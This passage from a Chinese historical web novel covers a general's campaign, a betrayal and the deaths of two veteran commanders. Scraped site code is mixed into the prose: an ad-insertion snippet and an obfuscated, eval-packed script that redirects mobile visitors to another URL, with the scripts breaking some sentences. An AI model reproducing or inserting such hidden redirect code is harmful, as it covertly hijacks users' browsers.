邓跃剖析说:“李酌赋只不过是一介书生,不,他连读书人也算不上,只不过是一个纨绔子弟的卖国贼!因偶然的机缘得以成为将领,他只能被人驱使,哪能指挥得了别人!河东郡的治所在赤塘关,赤塘关北边靠近牧马河,所辖区域大部分在郡治所的东部。倘若我们率军队、百姓向西包围了郡的治所的赤塘关,他们的父母、妻子、儿女却还都留在原来的村庄,一旦听说官军到了,他们都会有内顾之忧的,一定会望风披靡不战自溃。” 听罢后,江诉的神情依旧淡淡,他的眼睫微抬起,目光落在邓跃身上,不深不浅。 邓跃还在等着江诉的回答,见到这样的神态,忽地有些捉摸不定江诉究竟在想什么,他狐疑地看向四周几人,发现大家伙都在望着自己,他不免有些不安与羞涩,一直在想方才的政策方法是否有误。 可是想了好一会,都没想出来,他正欲再次开口,江诉笑着抚掌道:“好,那你与飞飞一同率领骑兵从此处向东渡过牧马河。” 这算什么? 邓跃愣了好一会,见任何没有反应后,才缓缓回过味来,这分明是江诉想要给他表现的机会,既然没人能说出更好的法子,那么最后也就听他的来行事。况且这里面还有好几个是太后身边的人,邓跃心中起了感激,他抬眼再去看江诉的时候,只见江诉已经阔步踏出帐篷之外,走向商震与北肆野的帐篷内。 方才,江诉的确有意让邓跃前去,可是方才在邓跃的交谈之际,他听到了当初商震曾经在此地行军作战过,那么一定对此地有所了解。不过他还在想一件事情,势必是要早些去问清楚。 江诉一直都是以文官自居,每当上下朝时,总是有人说他的姿态端正稳妥,可现下他的动作早已没有当初在朝中漫步悠然的样子,这几年一直待在军营之中,已然有了小将军的模样,凌厉又迅捷。 他掀开帘帐就见到商震与北肆野在地图面前讨论了起来,与方才与邓跃所说的,竟也想到了一块儿去。江诉道:“我已经安排邓跃去了,不必担心,不过我还有一事想要委托师傅与北叔父。” 商震放下方才随处薅到的棍子,下巴微抬道:“你说。” 两人见江诉神情郑重,便也知道不少小事,于是坐在两处位置,而主位让与江诉,江诉习惯了商震所说的主帅要有主帅的样子,既然是在军队之中,自然要有所区分。 江诉也不客气,他坐下道:“我不知道二位有没有对当初河东节度使李檄大人的事情起过疑?” 此话一处,北肆野与商震旋即凝眉,两人都目光犀利地对视一眼,只想到过李檄太过独断大意,因此吃了好几场败仗,最后落到如此地步,却也从未对旁的深想过。 但他们在战场上可谓是人精,自然知道江诉所讲是何意思,北肆野惊疑地说出猜想:“将军是怀疑有人通风报信?那我们这里用的都是自己人,这段时间一直在打胜仗,是否真的安全?” 江诉抿唇,现下知道的人太多,动作也大,不可能真的瞒天过海,所以必须要剩下的人都齐心协力,不能出现任何纰漏。 不过从陇右带来的人,江诉是完全放心,况且他们过来的时候,李檄的事情早已经发生,但是他不能完全确保其他的人完全没问题,所以今夜他还在试探之中。 江诉颔首道:“我还在试探之中,到时候还恳请师傅与北叔父帮忙,你们二人熟悉此地,定然知晓哪个地方好与不好,而我今夜已经把消息都散播出去,就接下来看有没有动作了。” “好!”北肆野与商震齐声道。 江诉与邓跃和张飞飞一起率骑兵从容秀东渡牧马河,逼近了定襄。 江诉声言:“现在暂时停在这里等待步兵,并且看一看民心所向。” 随后命令那些送来投降者的名单的人各自回到村子,并且告诉他们:“等到官军燃起三堆烽火时,你们也要燃举烽火相呼应。那些不举烽火相呼应 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的人,便是贼军的同党,要杀掉他们,将没收的财产犒赏军队。” 于是村民们相互转告,即使内心不想投降的人也假装举起烽火,一夜之间,火光遍布数百里。阿之奎不知其中原委,得到消息的李酌赋更是茫然,见如此壮大的军队,当即各自溃散逃归。 阿之奎也察觉了变化,更知晓李酌赋此人靠不住,既然会叛国,自然也不可能完完全全地将命交在这人手上,当即思索了一番,命人连夜退回并州,江诉率着邓跃与张飞飞抢占了定襄,齐离弦率一小队攻下了赤塘关。 在半夜退回的李酌赋被迫请求投降。 齐离弦只是下令将有关人等押入大牢,其他的那就等云行野过来再发落。 云行野听到消息,当即冲了回来,他已经是痛恨极了李酌赋,定然要为其报杀父之仇。 重新落回大启手中,李酌赋自然知道自己难逃一死,他还以为是云行野先找过来,没想到见到的人居然是江诉。 他知道江诉与枕清是夫妻,即使是落魄的姿态,他依旧挑衅道:“你没有攻下代州的那段时间,你知不知道枕清与我做了什么?她和我纠缠至深,至于深夜。” 江诉闻言,并没有李酌赋所期待见到的生气发怒,抑或是质问,他只是淡淡地看着他,看着一个即将死去的人。 李酌赋这才完完全全地看清江诉,他好像无论在什么时候,永远都只是万事不关心的江诉,即使你死在他的脚边,他都能浅笑说借过的人。 可李酌赋不信,不信江诉没有在乎的人,更加不信江诉居然会不在意枕清与自己的关系,于是他更加过分道:“你难道不想知道吗?不仅仅有我,还有张宣晟,张宣晟你总知道她们究竟是什么关系,我还看到张宣晟在枕清腿边,甚至挨了好几下,满地都是血。你觉得是谁的血?” 说得如此凄苦无比,却没有看到江诉任何一点异动。 之前枕清在代州的死里逃生,江诉有将枕清仔仔细细看了一番,除了膝盖因为摔倒擦破皮,其余地方皆是没有任何伤到的地方,所以李酌赋无论怎么说,江诉都不在意。 他只是笑着,那笑容第一次有了怜悯和可怜,他微笑道:“无论你如何说,我都信她,我不知道你与我说这些是什么意思。”他杀人诛心般开口,“你觉得你能和她做什么,她瞧不上你,也看不上张宣晟,我的娘子又不是什么东西都能吃得下,入得了眼,所以,我想知道什么,我心里不都有数么?何须你来告诉我。” 他的神情一如既往地温和,李酌赋倒是冷了下来,他原本是想要挑拨离间,可是没想到他比枕清更是软硬不吃,他还想好如何争口舌,只听江诉的脚步声越来越远。 有人小声问:“倘若夫人真的做了出格的事情,将军该当如何?” “她不会。”江诉笃定道,“就算她真做了出格的事情,那么必然是我让她不满意了。” 观和七年夏末,大启军进入了忻州,云行野杀李酌赋于牢中,死相惨烈。 112. 端忧懒步封尘心(七) 忻州此战大获全胜,而功臣自当属邓跃与张飞飞二人,拿下忻州的这晚,江诉当即上书好好言表了一番,顺带写了一封给了枕清。 不知道枕清究竟什么时候时候能看到这封信,自从上一次闹起了不愉快,他们好像已经很久没有通过信件。 河东局势因为有商震与北肆野,还有邓跃与齐离弦坐镇,更是如虎添翼。接下来的事情只要安排妥当,应当没有任何问题。上书好好夸了一番邓跃与张飞飞,他也有别的意图,那就是想要早日回到长安之中。 只要并州一过,局势瞬间扭转,一切都会回归原本的样子。 除了蒲州的盐池有威胁之外,其余的倒也没有那般担忧,江诉这几日安营扎寨,偶尔得了空闲便会去妙言寺中,也曾遇到过陈琅,他们二人说了话。 虽然都是平平无奇的家常话,偶尔带一两句枕清。 他们彼此的对话都不在意思之中,也仅仅只是浮于表面,唯独谈及到枕清,才显得那么几分认真。 江诉知道枕清与陈琅自小都在雷州长大,甚至关系匪浅,江诉也没有多说什么,只是听陈琅谈及小时候的事情,从中窥探到儿时枕清的模样。 偶尔谈及生动有趣的地方,两人都是笑得开怀,陈琅瞧了一眼江诉,眼中清明一片,蓦地又变得迷离。 他慢慢道:“她的笑容很灿烂,比我所见过的任何花朵都要灿烂,就像一片漆黑茫然之际,散发出的一点光,那光并不热烈,但也为你指引了方向。”他怅然又道,“来听,你真幸运。” 江诉望着陈琅看似羡慕又像是挣扎的神情之中,心中已有衡量,他微笑道:“喜欢的人也喜欢我,的确是我三生有幸。枕清也曾与我说过你,说你她心目中最好的兄长,我也应当与枕清一样,唤你一声兄长,无极兄。” 陈琅听到兄长二字,他略微一顿,心中泛起酸涩,哈哈一笑。那笑容表面听着是畅怀之意,可其实是满腹苦涩,江诉心中有感,却也只是淡淡笑望着他,纵有心思,但也不会表于面上,反而让人觉得没有别样的情绪。 想到当初枕清与陈琅都在李檄的手下,虽说李檄与商震交好,而枕清又是商震的徒儿,一定会给三分薄面,可仅仅只是薄面。 世人对女子多有偏颇,而李檄自然也不可能完全信任听从枕清,即使枕清出面阻止,但是身为李檄好友的陈琅若是提起,两人的分量总比得上一人,未必不能阻止。 江诉忽而问起道:“当初李檄的事情,无极兄与李檄是如何说的?” 陈琅脑中瞬间闪过几个场面,他落魄摇头,心中如有刀刃般钝痛,他哀伤道:“当初并非是我说的,而是我代沿溪传达给李檄,可是他不听枕清的,任是一意孤行,才落得这般下场。” 陈琅抬手扶额,遮挡住悲凉的神色,“他们都知道我只是一介商人,不懂这些行军作战,万事自然不可能轻信于我,而沿溪虽说厉害,可世人对女子总有偏见,像来听这般折节下士,肯重用小娘子的人,少之又少。” 他这话,的确打消了江诉的疑虑,他淡淡道:“不是我重用,而是齐小娘子本就能谋善断,是当世之才,我也只是顺手推舟。” 话已至此,两人也只是长久沉默地走着。 暑热过去,正值秋季。 当初的两封信件,都没有收到回信,但时常能听到长安传过来的动静。倒也不是消息如此便捷,能传到千里之外,而是江诉留了一部分人在长安,倘若真的有何种大事发生,一会快马加鞭传到江诉耳中。 既然只是零零散散的事情,那么长安算是平和,没有大事发生。 他心中稍许放松,更加专注河东战事。 打算再过几日,就开始对并州下手。 江诉为首,其余几人都围在下方,江诉垂眸看着地势,道:“但凡与敌人作战,无论是在错综复杂的山林之中,还是在一望无际的平原旷野,都需要占据最高的地方,凭借居高临下的有利地势,使其冲锋陷阵,上阵杀敌,此为获胜的法则。”[1] 最近这些兵书兵法,对于张飞飞而言,简直如同天书般难,他有的是上阵杀敌的勇气,可要是让他真的搞这些文绉绉的东西,堪比要了他这条命。 但在邓跃引导下,竟然也读懂了许多,他还能接上江诉的话道:“诚如兵法所说:‘在山岭地带作战,不要仰攻居高临下之敌。’”[2] 江诉与张飞飞和邓跃相处了几年,自然清楚这两人的脾性究竟如何,没想到有一日能在张飞飞空中听到这种话,他意外地瞧了一眼张飞飞,那眼神不禁泛着惊艳。张飞飞顿时收到江诉递来赞赏的目光,可把他美坏了,龇个大牙没忍住笑了,甚至还悄悄提起肩膀撞了一下邓跃。 邓跃又不是瞎子,这么几个人中,早就看到张飞飞与江诉的神情,他反过来碰一下张飞飞的肩膀,示意不要乱动,先听主帅是如何继续说的。 江诉看着地形图,指了指几处的制高点,说出来自己的想法,大家都在仔细认真听,发觉这件事倒是一个好的方式。但是作战并非是万无一失,江诉也为其想好了退路,到时几番人马相互接应,形成一个间接点,难以形成崩溃之势。 可是商震与北肆野也有自己的想法,他们想要查出究竟是谁害死了李檄,所以主动说自己要带兵作为先入忻州的前锋。 江诉听罢,自然是不肯同意,但是北肆野这张巧嘴能言善辩,一番颠倒黑白,倒也真的打消了江诉一些顾虑,江诉也没有往其他的地方想去,只觉得他们二人家国情怀如同年少那般模样,就好像从未老去...... 再经过北肆野一番调侃:“来听,你难道真的看不起我们这些老顽固?真的觉得我们到了如今岁数,便已是毫无用处了吗?” “自然没有!”江诉反驳道,“我再多派些人马,如果察觉到了危险,里面退回,会有人前来接应。” 如此来回,便也敲定了日子。 这段时间牧青都在后方储备力量等着江诉,他这人稳妥,虽然不像是邓跃与张飞飞那般可以作为前锋的冲劲,但也确确实实是江诉极为有力的臂膀。 是夜,牧青坐于树梢之上,他看向远方朦胧的山色,见到江诉走来,他神色镇定,作揖道:“将军。” 他这改口倒是快。 从最开始的小子,到后来的中丞、长史,直到现在的将军。 江诉漫不经心地摆手,他递过一坛酒水道:“这里没有旁人,你直接喊我名字就行,我们两都是十多年的交情,无需拘束。” 牧青平日就寡言,和江诉在一起时,两人都说不出一个字,唯有在陇右时期,有卷柏在的时候,话才稍微多一点。 但更多时候,是卷柏逼着牧青给自己一点回应,只要有了开头,回应就变得多了。 卷柏啊。 他们两人仿佛都想到了一处去,但都没有开口。 夜晚的秋风寒冷刺骨,簌簌飘零的叶子也极其孤寂,就好像是最落寞的时候。 半晌后,牧青灌了一口酒水,点点辣味直冲喉咙之中,他不常喝酒,面颊连着脖颈都开始泛起了红,他慢慢开嗓道:“我昨儿梦到了卷柏,我梦到她跟我们说,她想吃羊肝毕罗、蟹黄毕罗,还有都督夫人所做的樱桃毕罗。我说我没有,她就开始骂我了,脾气可真坏啊,在梦里依旧是那么坏。” 江诉心中被牧青提起来,便是一顿,他想要开口说点什么,可是发现自己什么都说不了。 牧青从喉咙之中发出一声很愁闷的笑意,眼神没有平日那般沉默凌厉,他倏地沉眼,喟叹道:“可即使脾气那么坏,我还是想听她能多骂骂我。你说她总是说自己贪生怕死,只想要躲在我们身后,一定要做一个活到百岁的女魔头,那天她拉突厥王子下马的时候,被马匹踏过的时候,究竟是这么想的,是不是后悔了,是不是觉得好疼?” 猜想许多,牧青忽然察觉,他自己也跟着卷柏一样疼。他的心开始一抽又一抽的疼,就好像有无数虫蚁撕咬,有什么东西正把他踏碎撕裂。 江诉唤了一声牧青的名字,牧青茫然地看着江诉,江诉道:“天色很晚了,明早还有事情,你应该去睡了。” 牧青这才发觉自己说得有些多了,可是再次去看江诉的时候,发觉江诉并没有觉得他这般模样有何不对,也不是觉得自己不应该在河东这个节骨眼上想这些,只是单纯地想让自己能够好好休息,不要沉溺在这样痛苦的情绪中。 起初她在的时候,还没有发觉任何不同,可是卷柏消失了,牧青仿若觉得整个世界都变了。 江诉不知道如何安慰牧青,他与牧青不同,他亦不敢对牧青说,倘若是枕清在自己眼前死去,他大抵也会跟着去了。 人这一生有很多风景,也会遇见许多人,不凡有爱情、友情、亲情,可是对于江诉而言,这个世界,只有枕清是他的唯一。除了枕清,无论是谁,都不能变成他活下去的勇气。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13967985|144107||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>翌日一早,一群人便开始商量对策。 夺取并州迫在眉睫,而与商震与北肆野暗中所隐藏的那条线路虽说在定襄没有用上,但是杀了一个李酌赋,且夺下忻州,并不算太亏。 商震率着人压近并州,打算从小路而过,先占据南边的山头,暗中设下埋伏,在与江诉的人马汇合,不料阿之奎的人马早就算计好了,占据了南边的山头,占据最高点看向他们。 北肆野与商震看到并州山头之上有一群乌泱泱的人,这一刻,仿若就等着他们落网。 他们也知道,军中果真有人泄密给了张宣晟他们。 原本应该后退而撤的,他们看到山林之间有无数的弓箭手严正以待,已经掉进入虎口,无处可退。 张宣晟勾起嘲讽的笑容,不过心中没有看到江诉,还是难掩失落,他收起利剑,朝山下喊:“原来是商震大将军,要不来我这地方好好休整一番,我定然好吃好喝相待!” 商震与北肆野相互对视,他们原本就想要找出究竟是谁背叛了大启,当即大步流星地朝张宣晟走去。 不知道是不是因为枕清的缘故,张宣晟竟然真没有动商震与北肆野,至于其余底下的士兵,自然没有受到如同商震这般好吃好喝的对待。 “你怎么会知道我们今日会在这里?”商震呷了一口酒水,“是我们军中有人跟你泄了密,还是说......” 说到此处,商震说不下去了,因为他只怀疑是有人泄了密。 在一旁的周犹自然听的明白,这就是来试探自己这边是否有间谍安插在他们那边,在下一瞬间,周犹就起了心思,想要他们互相开始猜忌,甚至如何互相残杀地步。 没成想张宣晟先摆了摆手,他开口道:“没有,我们这边并没有安插到间谍在你们底下,我们之所以会等在这里,是因为猜到你们会来此处。” 北肆野眼观鼻,将四周已经看的清楚明白,这个帐篷搭建确实有一段时间,想必就是来等着他们来的,如果没等到,那么就一直等下去。而且周围的士兵对地形地势都极为熟悉,就好像是不只是熟悉几天的样子,更像是好好侦察过一番。 他施施然抬起眼,看到张宣晟身旁的周犹虽然面无波澜,但是看起来极为阴郁,不似常人。他眉眼一挑,看向周犹道:“倒是神机妙算,是这位小兄弟想出来的吗?” “一半一半。”张宣晟非常和气地笑了笑,“也多亏枕清留下的地形图,以及各种注释细节,简直让我们如虎添翼。” 商震与北肆野听到熟悉的名字从张宣晟口中说出,皆是虎躯一颤,心中更是大乱,自然是不信枕清会做出把地形图送给阿之奎。 两人面面相觑,相顾无言,打着哈哈,满腹疑虑地喝下了几盏酒水就打算回去睡觉。 他们两人想到深夜。 北肆野看着头顶的天空,道:“地形图是枕清的,但应该不是枕清给他的,而是枕清给李檄的。” 商震沉思道:“李檄虽然死了,地形图一定会被收起来,不至于流入他们手中,那么就是有人把这地形图送给了他们。而且他们说其中有各种注视细节,但沿溪一定会留有后手,不会在地形图中写上各中细节,上回教了云行野,仅仅只是叫他背了下来。所以即使枕清这地形图在旁人手中,也未必能看得懂。” 北肆野心中一动,猛然道:“那么就是沿溪跟那个人解释过,然后那个人听到,自己开始加上各种细节。” 商震也跟着坐了起来,看向四周,稍稍颔首。 可这个人究竟是谁呢。谁能够让枕清与李檄完全卸下心防...... 是夜,躺在营帐内的周犹翻来覆去,想起白日张宣晟所说的话,他着实无法忍受张宣晟一沾上枕清,抑或是枕清身边的人,俨然像是换了一个人,无论如何说都不听。 地图这件事被他们得知,日后定然有所防备,周犹杀心顿起,他半夜起身坐于桌案前开始书写,传手下告诉了另一个人,说这件事在不久之后一定能怀疑到他身上,是否要先动手。 第二日收到那人回信,信上只有一字——杀。 周犹眼神逐渐变得狠绝,几乎下定了决心,他将那封信件留在自己的袖中,继而走近张宣晟的营帐之中,两人将舆图好好分析一番,再垂首看向沙图。 地图的山峦仿若崛起,变成一幕幕的山水画,他们目光远望,看到外边无尽苍茫的月色,绵亘不绝的山峦在宁静祥和里蛰伏。 113. 端忧懒步封尘心(八) 江诉收到商震与北肆野被困的消息,当下虽说心急如焚,但也不能自乱阵脚,倘若现在就开始惊惶,让阿之奎有可乘之机,势必更乱。 现如今枕清还在长安,他这边必须要稳定下来,才不会牵及到枕清在长安的稳固之位。 军队不少人听到商震与北肆野被困的消息,心中顿时慌乱无比。 齐离弦多有忧虑,问道:“可不可以前去援救?” 江诉回答说:“道路遥远险狭,难以去救。” 牧青也得到消息来问:“可不可以前去援救?” 齐离弦将江诉的回答告诉牧青。 这件事逐渐传了出去,江诉又单独召见了牧青与齐离弦,说:“虽然道路遥远险狭,但在这种地方作战恰似两只老鼠争斗在洞穴中,将是勇敢者取胜,所以,自然要去,方才那么说,也只是为了掩人耳目。” 这次之所以会发生这般事情,所有人都觉得是有人在背后牵扯告密,所以万事只能更小心一些。 江诉与齐离弦率军离开忻州十里时,就构筑营垒不再前进了,并且命令部队说:“有谁敢为军事问题进谏的就处以死刑。” 军中有一人建议火速去救,江诉立即把他杀掉了。江诉率军坚守营垒,十多天不行动,而且再次增筑营垒。 张宣晟自然听到风声与动静,笑着与商震与北肆野交谈,他道:“这次是真的会派间谍过去。” 张宣晟派遣间谍进入江诉的驻地侦察,间谍说自己只是周边的百姓,江诉没有表露出任何不信任的意图,反倒是以好饭食招待间谍后,再把他放走。 这边的间谍把江诉的情况报告给张宣晟,张宣晟非常高兴,说道:“江诉率军离开忻州十里时,就停止不再前进,并且一再增修营垒。这样看来,忻州将不是江诉的地盘了。” 这间谍形迹可疑,不少人心中升起不满,但是因为江诉是主帅的缘故,也不敢说,牧青则是知道江诉的想法,已然到了完全信任的地步,并不多问。 可没等他们多想,江诉在送走间谍以后,下令部队收拾盔甲而快速前进,两天一夜赶到了前线,命令优秀射手到距忻州约四十里的地方驻扎下来。 营垒筑成后,张宣晟听到这个消息,全军立即赶来迎战。 这时,齐离弦为军事问题请求进言,江诉让她进入帐中。 齐离弦说:“张宣晟一定意想不到我们会一下子来到这里,但他们迎战的来势很猛,将军您必须集中兵力加强阵地以等待他们进攻。不然的话,难以取胜。” 江诉说:“请赐教。” 齐离弦于是进一步献策说:“谁先占领北山谁就胜利,谁后到达那里谁就失败。” 江诉听后采纳说:“可以。” 随即发兵一万迅速占领了北山制高点。 张宣晟后到,企图争夺北山,却又攻不上去,打算拿商震与北肆野的命以作要挟,商震与北肆野如何不知道张宣晟与周犹的意图,他们二人直接抢过安南兵的剑,打算厮杀出一条血路。 一旦动了刀剑,就已是再无回头之路。 这是他们为自己选择必死的结局,江诉沉沉闭眼,想到早知如此,他嘴角溢出一丝苦笑,缓缓睁开眼,当即挥手下令,弓箭手便立刻成阵出列,乘势反攻。 张宣晟没成想江诉竟然会如此不顾及商震与北肆野,不禁震惊,又觉得十分合理,彼时他们的军心不稳,被打得大败而逃。 周犹咬牙,愤恨地看向江诉,当即举起箭弩,凌厉射向商震与北肆野。 商震和北肆野本就在一片厮杀中无力反抗躲避,二人身中数箭,不少安南兵觉得机会大好,举起刀剑,刺破他们二人的胸膛,砍伤他们的臂膀。 两人翻滚了几圈,当即背靠背地看向四周围成一个圈,对准他们二人虎视眈眈的安南兵。 “生已无所寄,死亦无所惧!”商震抬起剑,凌厉地砍下一人的头颅,笑着问北肆野,“你怕吗?” 北肆野抬手,刺激的血腥味掠过他鼻尖,也展过他的笑颜:“你都不怕,我也不怕!” 在秋阳中,他们肆意怅然的笑,格外耀眼痛快,也悲惨壮烈。 天空中洒下无数热血,无数点点的温热,逐渐在厮杀震天的呼喊中黯然失色。 他们二人仰面滑出了数丈远,转身爬起,仿若回到了年少时,他们比这时更意气风发,笑着说要喝酒吃肉,甚至要在匈奴突厥人面前横着走。 商震胳膊一扬,又连连斩杀两人,腹部亦被刺了两刀,鲜血顺势而流,无数伤口崩开。他皱眉,眼睛望见身后偷袭北肆野的人,当即狠狠一抽,刺破那人的头颅,他眉间凌厉一动,转而柔情道:“你陪着我走,我就觉得不孤独。” 北肆野瞧了瞧身后被他刺穿的人,嘴角一扯:“我也不孤独,人生遇一知己,足矣!” 周犹知道商震与北肆野受伤过重,打算再次抬起箭努,当即补上几箭。 齐离弦见周犹如此架势,是务必要杀了商震与北肆野!她眼神凌厉地望去,那颗心却忍不住地发颤,仿若是被重重一击,她迅速提起自己的剑,朝周犹那厮杀去。 锐利的锋芒,对于周游这种毫无缚鸡之力的军师,自然是无法抵挡,他察觉到自己会死于剑下,但没想到是女子的利剑之下,他嘴角弯起阴恻恻的笑容,手紧紧按压住刺穿自己的那把利剑,余光中突然看到张宣晟步入危险,他目呲欲裂,高声喊道:“殿下,快躲开!” 耳朵中,无数的厮杀声仿若远处,无数马匹纷至沓来,齐离弦一转头,就看到云行野手一挥,当即拿起长枪,一剑刺入张宣晟的脖颈之中,只剩一丝皮肉挂着。 此地平坦,一阵长嘶中,接连倒下几人,刺入的声音仿若在哀伤,不知道是谁的血,染满了身,鲜血淋漓,云行野割下张宣晟与周犹的头颅,挂在自己的马匹两侧,骏马发出悲鸣的嘶叫。 齐离弦堪堪回神,却发现江诉早已经在血泊之间,竟然和死伤惨重的士兵浑然一体,不知道这一刻的江诉究竟是死还是活。 江诉失神看着即将没了气息的商震与北肆野,他面色苍白,仿若也跟着没了生气。 商震很少见到如此模样的江诉,他永远都是胜券在握的模样,更别说身上都是无尽乌血的模样。 他正想要嘲笑一番江诉,可是看到江诉的落寞的神情,已经杀红眼的戾气,忽地顿住。他也发觉自己笑不动了,自己都快要被那些个安南人开膛破肚了,好在体力不逊,他宽慰道:“我早知道会有这么一天,李檄死了,云流也不在了,我们这辈尽心竭力地守住了大启,日后就靠你们了。” 江诉第一次没有将自己置身事外,他感受到无尽温热的血,感受到自己的心因为一个又一个人的离开,逐渐变得难受。他完完全全确信,这些人不是浮跃于纸面之上,而是为了守护家国的铁血汉子,是真实的人。 他颤着心点头,商震眼角瞧了下没有气息的北肆野,他竟然有些想流泪,可是他也要死了,快要和北肆野一起下黄泉了。 他费尽力气,咧嘴扯出一丝比哭还难看的笑来,他说:“我开心,你北叔父也高兴,你叫沿溪与惊玉不要为我们伤心。” 这场战打得快,可是叫江诉许久才缓过神来,他觉得自己的喉咙发不出一丝声音,就连眼睛也是模糊的,只能看着一片血色,跟出现的晚霞一样灿烂,叫他分不清血了。 见得太多,太多。 这与在当初世界所看到的不同,起初他强迫自己从容应对,应当拿出该有的魄力,可此时此刻,他真的完完全全感受到不一样的悲怆。原来刀不落在自己身上,是真的不会感受到疼。 如果早在很久之前,他能跟着阿之奎说更多的话,会不会就不会造成如今的局面,当初如果没让阿之奎误入歧途,会不会他们都不会死。 江诉那张清隽的面容,逐渐变得肃杀狠绝,早就没有了往日的温润,已是武将的气息。 血水从他面颊划过,落在脖颈,仿若就是从他身上流出的血泪。 江诉知道商震气息将绝,他见人嘴角翕动,于是俯身贴在他唇边,商震气若游丝道:“我们找到是谁出卖了李檄,是——陈琅。” 地面都是血浆,目光所及之处都是尸骸遍野。天边秋日的红色晚霞映照这夕阳,一片灿烂绚丽之景。 云行野拨开人群,看到江诉的那一双眼睛里,不知道是绚烂的晚霞,还是尸山血海的鲜血,只见他冷静抬首道:“将消息封锁,厚葬。” 江诉说完这句话,再也没开口过,只是安静地望着上空,额头的血无声蜿蜒流下。 有人走上前,紧张道:“将军,您受伤了?” 江诉置若罔闻,后知后觉,轻而摇头。 秋风一过,寒山转苍翠。 凛冽的寒风在耳边萧飒奔腾,仲夏残留的暮蝉落进余晖之中,满目萋萋的芳草无情,厮杀之中的血色连成起伏的山丘,一半灿烂如花,一半枯萎掩埋。 彼时响晴的上空飞过一排大雁,好似去往回家的归途。 这段时日安排了许多事情,中间看过残荷,听过暮蝉,掠过暑热,一眨眼,又到了深秋。 解除了并州之围且拿下并州的消息已经落到长安内,所有人都开始高兴,觉得河东的局势已经回转,所有将士即将不再受征战之苦。 从一开始的李酌赋,到现如今的周犹与张宣晟,最后只剩下一个阿之奎。 照这样的趋势,跟阿之奎对战,并不远了,齐离弦不知道江诉与阿之奎的关系,但也清楚他们之间也有渊源,于是主动请缨,说要自己来做这一件事。 江诉沉思片刻,答应了。 河东道长久以来置身于水深火热之中,终究要迎来最后一战。 齐离弦善用兵法计谋,云行野胆大心细,从之前长安的贵公子,慢慢地变成可以胜任一方的小将军。 他们这一辈的年轻人,逐渐获得认可,好似许多事情都看到了头,少年人抬眼望向前方的路,不再是白雾茫茫的一片迷糊。 他们有目标,亦有梦想。无论最后究竟是为了何种原因,又是何种目的,总归是找到了归途。 这些日子他们彼此也早已经熟悉,亦是谈论起很多东西,不少人有伟大梦想与理念,提到邓跃的时候,邓跃却狡黠一笑道:“我没有那么伟大,我就想当个官,一辈子衣食无忧。” 张飞飞也不好意思地笑笑,挠头道:“将军和邓跃走到这里了,那么我也跟着走到了这里,我其实没有那么大的梦想,不过我看到百姓过得开心幸福,我也开心幸福。” 大家坦诚又热烈,不禁让人心绪逐渐开怀了去,按照顺序,他们纷纷望向齐离弦。齐离弦十分配合地笑道:“我从小就有一个将军的梦想,想要上阵杀敌,成为名震一方的女将军,多谢诸位,也多谢将军肯给我机会,让我有地方施展。” 众人大笑,云行野霍然起身拍手道:“你也是有真本事!你是女中豪杰中的豪杰,甚至比我们这几个男人更为厉害,叫人万万不敢小瞧,不是我们给你机会,而是你自己有才能把握住了机会。” “小将军说得是。”邓跃也打心底佩服。要说最让他佩服的,一是枕清与薄映禾,二便是齐离弦了。 她们三人是他目前接触最为厉害的女郎,丝毫不比男子逊色,甚至比得上更胜一筹,即使是女儿身,也没能阻挡住她们的才能。 一直在角落的牧青被起哄,他也不好不说话,只是略略看向江诉,道:“将军叫我来的,我就来了。” 不少人开始哈哈大笑,都是二十多岁,血气方刚的年轻人,大多都没什么端着摆着,大伙儿恣意又畅怀,不过即使如此,却也没人敢去问江诉,除了一直与江诉关系要好的云行野开口道:“来听,你呢?” 江诉见所有人都看着自己,他不想说自己是为了枕清而留下的,亦不想撒谎,坦然道:“奉旨。” 这般回答,叫人哭笑不得,却又十分合理。 江诉并没有在这块地方多留,让他们自己好好玩玩,自己独自一人回到帐篷之中。这群人之中,并非是江诉最年长,却也是除了牧青意外,最沉稳的一个人,不知道是如何能养成这般性子,不少人面面相对,但是无一人敢真正的谈及。 齐离弦与许多人开始讨论如何攻略城池,可是在他们正好讨论出来办法来之时,却听到了阿之奎有反攻的意图。 逐渐地,他们也说起了防备的打算。 这段时间,齐离弦竟也 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云行野有意瞥走在前端的江诉一眼,正视齐离弦道:“你若是有什么需要帮忙的地方尽管说,我们定当全力以赴。” 齐离弦那双洞察人心的眸子在云行野身上略一打量,她笑着道:“云小将军放心吧,我曾经给过阿之奎机会,他不要,所以我自然不会手下留情,况且,沿溪也跟我说过,倘若自己喜欢的人与自己对立,那么她一定弃之,放在我身上,见到了这么多无家可归的可怜儿,我早就和他形同陌路。” 得到如此回答,不禁让云行野的面颊一红,逐渐变得滚烫。怎么他还什么都没有说,就已经被发现了思绪。这段时间所遇见的,一个个都是十分精明的人儿,叫云行野又木又麻,最后佯装没事人一样摆摆手,就当过去了。 如果还不作战,就又要过一个难挨的冬日,齐离弦打算速战速决,在这个冬日之前结束这场战争。听得云行野眸光微动,他腰间挂着匕首,反向朝正厅走去,却听齐离弦商量着给邓跃和张飞飞一队人马,令他们从侧面包抄而下。 云行野穿过长廊,知道齐离弦这是在走险招,可是这也是极快的方法,他们上回还听到自己人马之中有间谍,此举会不会太过冒进,他走到江诉所在的正堂内,拿起一旁的案上的茶水,喝下一口,忽而觉得口齿生香。 这好像是江诉在大夫那里开的树叶子,说是茶叶。[1] 好端端的怎么喝起药来,但是还别有一番味道。 他没有仔细品茶,快速道:“来听,商伯父究竟和你说了什么?那间谍究竟是谁?我们此次出击,会不会吃败仗。”说到最后二字,他心中不免又开始急切了起来,不争气地叹息一声,“这可千万不能再输了!好不容易达到如今的地步。” 见云行野急迫担忧的表情凝在脸上,江诉把茶杯一搁,缓缓抬起眼,说:“是陈琅,你不用担心,现下的他,大抵已经到了长安。” 